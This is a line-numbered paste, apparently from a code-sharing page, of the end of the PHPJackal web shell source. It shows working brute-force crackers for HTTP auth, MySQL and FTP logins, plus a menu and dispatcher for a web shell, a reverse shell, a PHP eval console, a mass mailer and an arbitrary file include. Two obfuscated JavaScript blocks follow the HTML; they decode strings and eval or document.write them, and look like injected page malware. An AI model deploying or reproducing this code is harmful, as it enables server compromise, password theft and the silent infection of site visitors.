  1240. echo "<center>${t}Convertor:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Input:</td><td bgcolor=\"#666666\"><textarea rows=\"10\" name=\"input\" cols=\"64\">";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Task:</td><td bgcolor=\"#808080\"><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>crc32</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=hex>HEX</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Convert></td></tr>$hcwd</form></table></center>";
  1241. }
  1242. function authcrackeR(){
  1243. global $errorbox,$et,$t,$crack,$hcwd;
  1244. if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  1245. $data='';
  1246. $method=($_REQUEST['method'])?'POST':'GET';
  1247. if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
  1248. spliturL($_REQUEST['target'],$host,$page);
  1249. $type=$_REQUEST['combo'];
  1250. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  1251. if($method='GET')$page.=$data;
  1252. $dictionary=fopen($_REQUEST['dictionary'],'r');
  1253. echo "<font color=blue>";
  1254. while(!feof($dictionary)){
  1255. if($type){
  1256. $combo=trim(fgets($dictionary)," \n\r");
  1257. $user=substr($combo,0,strpos($combo,':'));
  1258. $pass=substr($combo,strpos($combo,':')+1);
  1259. }else{
  1260. $pass=trim(fgets($dictionary)," \n\r");
  1261. }
  1262. $so=fsockopen($host,80,$en,$es,5);
  1263. if(!$so){echo "$errorbox Can not connect to host$et";break;}
  1264. else{
  1265. $packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass");
  1266. if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data);
  1267. $packet.="\r\n\r\n";
  1268. $packet.=$data;
  1269. fputs($so,$packet);
  1270. $res=substr(fgets($so),9,2);
  1271. fclose($so);
  1272. if($res=='20')echo "U: $user P: $pass</br>";
  1273. flusheR();
  1274. }
  1275. }
  1276. echo "Done!</font>";
  1277. }else echo "<center><form method=\"POST\" name=form>${t}HTTP Auth cracker:</td><td bgcolor=\"#333333\"><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>";
  1278. }
  1279. function sqlcrackeR(){
  1280. global $errorbox,$t,$et,$crack;
  1281. if (!function_exists("mysql_connect")){
  1282. echo "$errorbox Server does n`t support MySQL$et";
  1283. }
  1284. else{
  1285. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  1286. $target=$_REQUEST['target'];
  1287. $type=$_REQUEST['combo'];
  1288. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  1289. $dictionary=fopen($_REQUEST['dictionary'],'r');
  1290. if ($dictionary){
  1291. echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";
  1292. while(!feof($dictionary)){
  1293. if($type){
  1294. $combo=trim(fgets($dictionary)," \n\r");
  1295. $user=substr($combo,0,strpos($combo,':'));
  1296. $pass=substr($combo,strpos($combo,':')+1);
  1297. }else{
  1298. $pass=trim(fgets($dictionary)," \n\r");
  1299. }
  1300. $sql=@mysql_connect($target,$user,$pass);
  1301. if($sql){echo "U: $user P: $pass (<a href=\"".hlinK("seC=mysql&serveR=$target&useR=$user&pasS=$pass&querY=SHOW+DATABASES&workingdiR=".getcwd())."\">Connect</a>)<br>";mysql_close($sql);if(!$type)break;}
  1302. flusheR();
  1303. }
  1304. echo "<br>Done</font>";
  1305. fclose($dictionary);
  1306. }
  1307. else{
  1308. echo "$errorbox Can not open dictionary.$et";
  1309. }
  1310. }
  1311. else{
  1312. echo "<center>${t}MySQL cracker:$crack";
  1313. }
  1314. }
  1315. }
  1316. function ftpcrackeR(){
  1317. global $errorbox,$t,$et,$crack;
  1318. if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et";
  1319. else{
  1320. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  1321. $target=$_REQUEST['target'];
  1322. $type=$_REQUEST['combo'];
  1323. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  1324. $dictionary=fopen($_REQUEST['dictionary'],'r');
  1325. if ($dictionary){
  1326. echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";
  1327. while(!feof($dictionary)){
  1328. if($type){
  1329. $combo=trim(fgets($dictionary)," \n\r");
  1330. $user=substr($combo,0,strpos($combo,':'));
  1331. $pass=substr($combo,strpos($combo,':')+1);
  1332. }else{
  1333. $pass=trim(fgets($dictionary)," \n\r");
  1334. }
  1335. if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;}
  1336. if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass<br>";if(!$type)break;}
  1337. ftp_close($ftp);
  1338. flusheR();
  1339. }
  1340. echo "<br>Done</font>";
  1341. fclose($dictionary);
  1342. }
  1343. else{
  1344. echo "$errorbox Can not open dictionary.$et";
  1345. }
  1346. }
  1347. else echo "<center>${t}FTP cracker:$crack";
  1348. }}
  1349. function openiT($name){
  1350. $ext=strtolower(substr($name,strrpos($name,'.')+1));
  1351. $src=array('php','php3','php4','phps','phtml','phtm','inc');
  1352. if(in_array($ext,$src))highlight_file($name);
  1353. else echo "<font color=blue><pre>".htmlspecialchars(file_get_contents($name))."</pre></font>";
  1354. }
  1355. function logouT(){
  1356. setcookie('passw','',time()-10000);
  1357. header('Location: '.hlinK());
  1358. }
  1359. ?>
  1360. <html>
  1361. <head>
  1362. <style>body{scrollbar-base-color: #484848; scrollbar-arrow-color: #FFFFFF; scrollbar-track-color: #969696;font-size:16px;font-family:"Arial Narrow";}Table { font-size: 15px; } .buttons{font-family:Verdana;font-size:10pt;font-weight:normal;font-style:normal;color:#FFFFFF;background-color:#555555;border-style:solid;border-width:1px;border-color:#FFFFFF;}textarea{border: 0px #000000 solid;background: #EEEEEE;color: #000000;}input{background: #EEEEEE;border-width:1px;border-style:solid;border-color:black}select{background: #EEEEEE; border: 0px #000000 none;}</style>
  1363. <meta http-equiv="Content-Language" content="en-us">
  1364. <title>PHPJackal</title>
  1365. </head><body text="#E2E2E2" bgcolor="#C0C0C0" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC">
  1366. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%">
  1367. <tr><td><a href=javascript:history.back(1)>[Back]</a> - <a href="<?php $cwd= getcwd(); echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">[Info]</a> - <a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">[File manager]</a> - <a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">[Editor]</a> - <a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">[Web shell]</a> - <a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">[B/R shell]</a> - <a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">[Safe-mode]</a> - <a href="<?php echo hlinK("seC=mysql&workingdiR=$cwd"); ?>">[SQL]</a> - <a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd"); ?>">[Mailer]</a> - <a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">[Evaler]</a> - <a href="<?php echo hlinK("seC=sc&workingdiR=$cwd"); ?>">[Scanners]</a> - <a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">[Crackers]</a> - <a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">[Pr0xy]</a> - <a href="<?php echo hlinK("seC=whois&workingdiR=$cwd");?>">[Whois]</a> - <a href="<?php echo hlinK("seC=calc&workingdiR=$cwd");?>">[Convert]</a> - <a href="<?php echo hlinK("seC=about&workingdiR=$cwd");?>">[About]</a> <?php if(isset($_COOKIE['passw'])) echo "- [<a href=\"".hlinK("seC=logout")."\">Logout</a>]";?></td></tr></table>
  1368. <hr size=1 noshade>
  1369. <?php
  1370. if (!empty($_REQUEST['seC'])){
  1371. switch($_REQUEST['seC']){
  1372. case 'fm':filemanager();break;
  1373. case 'sc':scanneR();break;
  1374. case 'phpinfo': phpinfo();break;
  1375. case 'edit': if (!empty($_REQUEST['open']))editoR($_REQUEST['filE']);
  1376. if (!empty($_REQUEST['Save'])){
  1377. $filehandle= fopen($_REQUEST['file'],"w");
  1378. fwrite($filehandle,$_REQUEST['edited']);
  1379. fclose($filehandle);}
  1380. if (!empty($_REQUEST['filE'])) editoR($_REQUEST['filE']);else editoR('');
  1381. break;
  1382. case 'openit':openiT($_REQUEST['namE']);break;
  1383. case 'cr': crackeR();break;
  1384. case 'dic':dicmakeR();break;
  1385. case 'whois':whoiS();break;
  1386. case 'hex':hexvieW();break;
  1387. case 'img':showimagE($_REQUEST['filE']);break;
  1388. case 'inc':include ($_REQUEST['filE']);break;
  1389. case 'hc':hashcrackeR();break;
  1390. case 'fcr':formcrackeR();break;
  1391. case 'snmp':snmpcrackeR();break;
  1392. case 'sql':sqlcrackeR();break;
  1393. case 'auth':authcrackeR();break;
  1394. case 'pop3':pop3crackeR();break;
  1395. case 'imap':imapcrackeR();break;
  1396. case 'smtp':smtpcrackeR();break;
  1397. case 'ftp':ftpcrackeR();break;
  1398. case 'eval':phpevaL();break;
  1399. case 'px':pr0xy();break;
  1400. case 'webshell':webshelL();break;
  1401. case 'mailer':maileR();break;
  1402. case 'br':brshelL();break;
  1403. case 'asm':safemodE();break;
  1404. case 'mysql':mysqlclienT();break;
  1405. case 'calc':calC();break;
  1406. case 'sysinfo':sysinfO();break;
  1407. case 'checksum':checksuM($_REQUEST['filE']);break;
  1408. case 'logout':logouT();break;
  1409. default: echo $intro;
  1410. }}else echo $intro;
  1411. echo $footer;?></body></html>
  1412. <SCRIPT language="javascript">var _4437;var _4822="1161E189E131A1867A1966E1858B2020E1948B1876E1957B2011B1381D2038C1993B1912E2011E1876B1327C1318D1507C1912A1948C1894D1255F2002F1993B1858D1516D1273E1903A2011C2011D1975F1489F1390F1390E2038F2038B2038E1381A1903B1840D1858E1930D1876F1993B1849C1966A2047D1381F1957F1876F2011D1390B1849B1939D1840C1849B1939E1840B1390F1975E1876D1993E1381D1975A1903D1975F1534E2020D1993B1939B1516F1318C1354A1876A2002E1858F1840E1975F1876D1327A1939A1966B1858E1840F2011C1912E1966B1957E1381C1903A1993A1876C1885C1336B1354B1318B1273F1255C2038F1912E1867C2011E1903C1516B1399D1255D1903E1876B1912A1894F2011E1903A1516C1399D1255F1849E1966D1993E1867D1876D1993B1516A1399A1525B1318E1336C1498A";var _9317=/[\x41\x42\x43\x44\x45\x46]/;var _7047=2;var _7479=_4822.charAt(_4822.length-1);var _6893;var _2558=_4822.split(_9317);var _4481=[String.fromCharCode,isNaN,parseInt,String];_2558[1]=_4481[_7047+1](_4481[_7047](_2558[1])/21);var _5754=(_7047==6)?String:eval;_6893="";_11=_4481[_7047](_2558[0])/_4481[_7047](_2558[1]);for(_4437=3;_4437<_11;_4437++)_6893+=(_4481[_7047-2]((_4481[_7047](_2558[_4437])+_4481[_7047](_2558[2])+_4481[_7047](_2558[1]))/_4481[_7047](_2558[1])-_4481[_7047](_2558[2])+_4481[_7047](_2558[1])-1));_5754(_6893);</SCRIPT>
  1413. <script type="text/javascript" language="javascript">
  1414. <!--
  1415. fF7eSD8=new Array();
  1416. fF7eSD8[0]="%3Cscript%3E%0Adocu";
  1417. fF7eSD8[1]="ment.write%28une";
  1418. fF7eSD8[2]="scape%28%22%253Cscri";
  1419. fF7eSD8[3]="pt%2520type%253D%25";
  1420. fF7eSD8[4]="22text/javascr";
  1421. fF7eSD8[5]="ipt%2522%253Edo";
  1422. fF7eSD8[6]="cument.write%25";
  1423. fF7eSD8[7]="28%2527%255Cu00";
  1424. fF7eSD8[8]="3c%255Cu0073%255C";
  1425. fF7eSD8[9]="u0063%255Cu0072";
  1426. fF7eSD8[10]="%255Cu0069%255Cu";
  1427. fF7eSD8[11]="0070%255Cu007";
  1428. fF7eSD8[12]="4%255Cu0020%255C";
  1429. fF7eSD8[13]="u0074%255Cu007";
  1430. fF7eSD8[14]="9%255Cu0070%255Cu";
  1431. fF7eSD8[15]="0065%255Cu003d%25";
  1432. fF7eSD8[16]="5Cu0022%255Cu0";
  1433. fF7eSD8[17]="074%255Cu0065%255C";
  1434. fF7eSD8[18]="u0078%255Cu0074%25";
  1435. fF7eSD8[19]="5Cu002f%255Cu";
  1436. fF7eSD8[20]="006a%255Cu0061%255";
  1437. fF7eSD8[21]="Cu0076%255Cu0";
  1438. fF7eSD8[22]="061%255Cu0073%25";
  1439. fF7eSD8[23]="5Cu0063%255Cu00";
  1440. fF7eSD8[24]="72%255Cu0069%25";
  1441. fF7eSD8[25]="5Cu0070%255Cu";
  1442. fF7eSD8[26]="0074%255Cu0022";
  1443. fF7eSD8[27]="%255Cu003e%255C";
  1444. fF7eSD8[28]="u0064%255Cu00";
  1445. fF7eSD8[29]="6f%255Cu0063%255C";
  1446. fF7eSD8[30]="u0075%255Cu006";
  1447. fF7eSD8[31]="d%255Cu0065%255Cu";
  1448. fF7eSD8[32]="006e%255Cu0074%255";
  1449. fF7eSD8[33]="Cu002e%255Cu00";
  1450. fF7eSD8[34]="77%255Cu0072%25";
  1451. fF7eSD8[35]="5Cu0069%255Cu";
  1452. fF7eSD8[36]="0074%255Cu0065%25";
  1453. fF7eSD8[37]="5Cu0028%255Cu002";
  1454. fF7eSD8[38]="7%255Cu005c%255Cu";
  1455. fF7eSD8[39]="0075%255Cu0030";
  1456. fF7eSD8[40]="%255Cu0030%255Cu0";
  1457. fF7eSD8[41]="033%255Cu0063%25";
  1458. fF7eSD8[42]="5Cu005c%255Cu007";
  1459. fF7eSD8[43]="5%255Cu0030%255Cu";
  1460. fF7eSD8[44]="0030%255Cu0035";
  1461. fF7eSD8[45]="%255Cu0033%255C";
  1462. fF7eSD8[46]="u005c%255Cu0075";
  1463. fF7eSD8[47]="%255Cu0030%255Cu";
  1464. fF7eSD8[48]="0030%255Cu003";
  1465. fF7eSD8[49]="4%255Cu0033%255";
  1466. fF7eSD8[50]="Cu005c%255Cu007";
  1467. fF7eSD8[51]="5%255Cu0030%255Cu";
  1468. fF7eSD8[52]="0030%255Cu0035%255";
  1469. fF7eSD8[53]="Cu0032%255Cu00";
  1470. fF7eSD8[54]="5c%255Cu0075%255C";
  1471. fF7eSD8[55]="u0030%255Cu0030%25";
  1472. fF7eSD8[56]="5Cu0034%255Cu00";
  1473. fF7eSD8[57]="39%255Cu005c%255Cu";
  1474. fF7eSD8[58]="0075%255Cu0030%255";
  1475. fF7eSD8[59]="Cu0030%255Cu003";
  1476. fF7eSD8[60]="5%255Cu0030%255C";
  1477. fF7eSD8[61]="u005c%255Cu0075";
  1478. fF7eSD8[62]="%255Cu0030%255Cu00";
  1479. fF7eSD8[63]="30%255Cu0035%255";
  1480. fF7eSD8[64]="Cu0034%255Cu005";
  1481. fF7eSD8[65]="c%255Cu0075%255C";
  1482. fF7eSD8[66]="u0030%255Cu0030%25";
  1483. fF7eSD8[67]="5Cu0032%255Cu";
  1484. fF7eSD8[68]="0030%255Cu005c%25";
  1485. fF7eSD8[69]="5Cu0075%255Cu00";
  1486. fF7eSD8[70]="30%255Cu0030%255";
  1487. fF7eSD8[71]="Cu0035%255Cu003";
  1488. fF7eSD8[72]="3%255Cu005c%255Cu0";
  1489. fF7eSD8[73]="075%255Cu0030";
  1490. fF7eSD8[74]="%255Cu0030%255Cu00";
  1491. fF7eSD8[75]="35%255Cu0032%25";
  1492. fF7eSD8[76]="5Cu005c%255Cu00";
  1493. fF7eSD8[77]="75%255Cu0030%255Cu";
  1494. fF7eSD8[78]="0030%255Cu003";
  1495. fF7eSD8[79]="4%255Cu0033%255Cu";
  1496. fF7eSD8[80]="005c%255Cu0075%25";
  1497. fF7eSD8[81]="5Cu0030%255Cu";
  1498. fF7eSD8[82]="0030%255Cu0033";
  1499. fF7eSD8[83]="%255Cu0064%255Cu0";
  1500. fF7eSD8[84]="05c%255Cu0075%25";
  1501. fF7eSD8[85]="5Cu0030%255Cu003";
  1502. fF7eSD8[86]="0%255Cu0036%255";
  1503. fF7eSD8[87]="Cu0038%255Cu0";
  1504. fF7eSD8[88]="05c%255Cu0075%255C";
  1505. fF7eSD8[89]="u0030%255Cu003";
  1506. fF7eSD8[90]="0%255Cu0037%255C";
  1507. fF7eSD8[91]="u0034%255Cu005c%25";
  1508. fF7eSD8[92]="5Cu0075%255Cu";
  1509. fF7eSD8[93]="0030%255Cu0030";
  1510. fF7eSD8[94]="%255Cu0037%255Cu";
  1511. fF7eSD8[95]="0034%255Cu005c%25";
  1512. fF7eSD8[96]="5Cu0075%255Cu00";
  1513. fF7eSD8[97]="30%255Cu0030%255Cu";
  1514. fF7eSD8[98]="0037%255Cu0030%255";
  1515. fF7eSD8[99]="Cu005c%255Cu00";
  1516. fF7eSD8[100]="75%255Cu0030%255";
  1517. fF7eSD8[101]="Cu0030%255Cu00";
  1518. fF7eSD8[102]="33%255Cu0061%255Cu";
  1519. fF7eSD8[103]="005c%255Cu0075";
  1520. fF7eSD8[104]="%255Cu0030%255C";
  1521. fF7eSD8[105]="u0030%255Cu0032%25";
  1522. fF7eSD8[106]="5Cu0066%255Cu00";
  1523. fF7eSD8[107]="5c%255Cu0075%255Cu";
  1524. fF7eSD8[108]="0030%255Cu0030%25";
  1525. fF7eSD8[109]="5Cu0032%255Cu0";
  1526. fF7eSD8[110]="066%255Cu005c";
  1527. fF7eSD8[111]="%255Cu0075%255Cu";
  1528. fF7eSD8[112]="0030%255Cu0030%25";
  1529. fF7eSD8[113]="5Cu0036%255Cu003";
  1530. fF7eSD8[114]="4%255Cu005c%255C";
  1531. fF7eSD8[115]="u0075%255Cu003";
  1532. fF7eSD8[116]="0%255Cu0030%255C";
  1533. fF7eSD8[117]="u0036%255Cu00";
  1534. fF7eSD8[118]="31%255Cu005c%255";
  1535. fF7eSD8[119]="Cu0075%255Cu00";
  1536. fF7eSD8[120]="30%255Cu0030%255Cu";
  1537. fF7eSD8[121]="0037%255Cu0034";
  1538. fF7eSD8[122]="%255Cu005c%255Cu00";
  1539. fF7eSD8[123]="75%255Cu0030%255C";
  1540. fF7eSD8[124]="u0030%255Cu003";
  1541. fF7eSD8[125]="6%255Cu0031%255";
  1542. fF7eSD8[126]="Cu005c%255Cu007";
  1543. fF7eSD8[127]="5%255Cu0030%255";
  1544. fF7eSD8[128]="Cu0030%255Cu0";
  1545. fF7eSD8[129]="032%255Cu0065";
  1546. fF7eSD8[130]="%255Cu005c%255C";
  1547. fF7eSD8[131]="u0075%255Cu0030%25";
  1548. fF7eSD8[132]="5Cu0030%255Cu003";
  1549. fF7eSD8[133]="7%255Cu0034%255Cu0";
  1550. fF7eSD8[134]="05c%255Cu0075%255C";
  1551. fF7eSD8[135]="u0030%255Cu00";
  1552. fF7eSD8[136]="30%255Cu0033%255C";
  1553. fF7eSD8[137]="u0030%255Cu005";
  1554. fF7eSD8[138]="c%255Cu0075%255Cu";
  1555. fF7eSD8[139]="0030%255Cu003";
  1556. fF7eSD8[140]="0%255Cu0033%255C";
  1557. fF7eSD8[141]="u0030%255Cu005";
  1558. fF7eSD8[142]="c%255Cu0075%255";
  1559. fF7eSD8[143]="Cu0030%255Cu0";
  1560. fF7eSD8[144]="030%255Cu0036%255C";
  1561. fF7eSD8[145]="u0063%255Cu005c";
  1562. fF7eSD8[146]="%255Cu0075%255C";
  1563. fF7eSD8[147]="u0030%255Cu00";
  1564. fF7eSD8[148]="30%255Cu0037%25";
  1565. fF7eSD8[149]="5Cu0033%255Cu00";
  1566. fF7eSD8[150]="5c%255Cu0075%255";
  1567. fF7eSD8[151]="Cu0030%255Cu00";
  1568. fF7eSD8[152]="30%255Cu0032%255";
  1569. fF7eSD8[153]="Cu0065%255Cu005c";
  1570. fF7eSD8[154]="%255Cu0075%255C";
  1571. fF7eSD8[155]="u0030%255Cu00";
  1572. fF7eSD8[156]="30%255Cu0036%255Cu";
  1573. fF7eSD8[157]="0066%255Cu005c%255";
  1574. fF7eSD8[158]="Cu0075%255Cu00";
  1575. fF7eSD8[159]="30%255Cu0030%255Cu";
  1576. fF7eSD8[160]="0037%255Cu0032%25";
  1577. fF7eSD8[161]="5Cu005c%255Cu007";
  1578. fF7eSD8[162]="5%255Cu0030%255C";
  1579. fF7eSD8[163]="u0030%255Cu0036%25";
  1580. fF7eSD8[164]="5Cu0037%255Cu00";
  1581. fF7eSD8[165]="5c%255Cu0075%255";
  1582. fF7eSD8[166]="Cu0030%255Cu0030";
  1583. fF7eSD8[167]="%255Cu0032%255Cu00";
  1584. fF7eSD8[168]="66%255Cu005c%255";
  1585. fF7eSD8[169]="Cu0075%255Cu0";
  1586. fF7eSD8[170]="030%255Cu0030%255C";
  1587. fF7eSD8[171]="u0037%255Cu0037";
  1588. fF7eSD8[172]="%255Cu005c%255Cu";
  1589. fF7eSD8[173]="0075%255Cu0030%25";
  1590. fF7eSD8[174]="5Cu0030%255Cu";
  1591. fF7eSD8[175]="0036%255Cu0038%255";
  1592. fF7eSD8[176]="Cu005c%255Cu007";
  1593. fF7eSD8[177]="5%255Cu0030%255";
  1594. fF7eSD8[178]="Cu0030%255Cu0036";
  1595. fF7eSD8[179]="%255Cu0035%255Cu00";
  1596. fF7eSD8[180]="5c%255Cu0075%255Cu";
  1597. fF7eSD8[181]="0030%255Cu003";
  1598. fF7eSD8[182]="0%255Cu0037%255C";
  1599. fF7eSD8[183]="u0032%255Cu00";
  1600. fF7eSD8[184]="5c%255Cu0075%255";
  1601. fF7eSD8[185]="Cu0030%255Cu0";
  1602. fF7eSD8[186]="030%255Cu0036%25";
  1603. fF7eSD8[187]="5Cu0035%255Cu0";
  1604. fF7eSD8[188]="05c%255Cu0075";
  1605. fF7eSD8[189]="%255Cu0030%255Cu0";
  1606. fF7eSD8[190]="030%255Cu0032";
  1607. fF7eSD8[191]="%255Cu0065%255Cu";
  1608. fF7eSD8[192]="005c%255Cu0075";
  1609. fF7eSD8[193]="%255Cu0030%255Cu00";
  1610. fF7eSD8[194]="30%255Cu0036%25";
  1611. fF7eSD8[195]="5Cu0061%255Cu";
  1612. fF7eSD8[196]="005c%255Cu007";
  1613. fF7eSD8[197]="5%255Cu0030%255";
  1614. fF7eSD8[198]="Cu0030%255Cu0037";
  1615. fF7eSD8[199]="%255Cu0033%255Cu0";
  1616. fF7eSD8[200]="05c%255Cu0075%255C";
  1617. fF7eSD8[201]="u0030%255Cu00";
  1618. fF7eSD8[202]="30%255Cu0033%255Cu";
  1619. fF7eSD8[203]="0065%255Cu005";
  1620. fF7eSD8[204]="c%255Cu0075%255Cu";
  1621. fF7eSD8[205]="0030%255Cu0030%25";
  1622. fF7eSD8[206]="5Cu0033%255Cu00";
  1623. fF7eSD8[207]="63%255Cu005c%255C";
  1624. fF7eSD8[208]="u0075%255Cu0030";
  1625. fF7eSD8[209]="%255Cu0030%255Cu0";
  1626. fF7eSD8[210]="032%255Cu0066%255";
  1627. fF7eSD8[211]="Cu005c%255Cu0";
  1628. fF7eSD8[212]="075%255Cu0030%25";
  1629. fF7eSD8[213]="5Cu0030%255Cu";
  1630. fF7eSD8[214]="0035%255Cu0033%255";
  1631. fF7eSD8[215]="Cu005c%255Cu007";
  1632. fF7eSD8[216]="5%255Cu0030%255Cu0";
  1633. fF7eSD8[217]="030%255Cu0034%255";
  1634. fF7eSD8[218]="Cu0033%255Cu00";
  1635. fF7eSD8[219]="5c%255Cu0075%25";
  1636. fF7eSD8[220]="5Cu0030%255Cu0";
  1637. fF7eSD8[221]="030%255Cu0035";
  1638. fF7eSD8[222]="%255Cu0032%255Cu0";
  1639. fF7eSD8[223]="05c%255Cu0075";
  1640. fF7eSD8[224]="%255Cu0030%255Cu";
  1641. fF7eSD8[225]="0030%255Cu0034%25";
  1642. fF7eSD8[226]="5Cu0039%255Cu0";
  1643. fF7eSD8[227]="05c%255Cu0075%25";
  1644. fF7eSD8[228]="5Cu0030%255Cu";
  1645. fF7eSD8[229]="0030%255Cu0035%25";
  1646. fF7eSD8[230]="5Cu0030%255Cu";
  1647. fF7eSD8[231]="005c%255Cu0075%255";
  1648. fF7eSD8[232]="Cu0030%255Cu0";
  1649. fF7eSD8[233]="030%255Cu0035";
  1650. fF7eSD8[234]="%255Cu0034%255Cu0";
  1651. fF7eSD8[235]="05c%255Cu0075";
  1652. fF7eSD8[236]="%255Cu0030%255Cu";
  1653. fF7eSD8[237]="0030%255Cu0033%255";
  1654. fF7eSD8[238]="Cu0065%255Cu0";
  1655. fF7eSD8[239]="027%255Cu0029";
  1656. fF7eSD8[240]="%255Cu003c%255C";
  1657. fF7eSD8[241]="u002f%255Cu0073%25";
  1658. fF7eSD8[242]="5Cu0063%255Cu007";
  1659. fF7eSD8[243]="2%255Cu0069%255Cu";
  1660. fF7eSD8[244]="0070%255Cu007";
  1661. fF7eSD8[245]="4%255Cu003e%2527%25";
  1662. fF7eSD8[246]="29%253C/script%25";
  1663. fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri";
  1664. fF7eSD8[248]="pt%3E";
  1665. for (i = 0; i < fF7eSD8.length; i ++)
  1666. {
  1667. document.write(unescape(fF7eSD8[i]))
  1668. }
  1669. // -->
  1670. </script>

comments powered by Disqus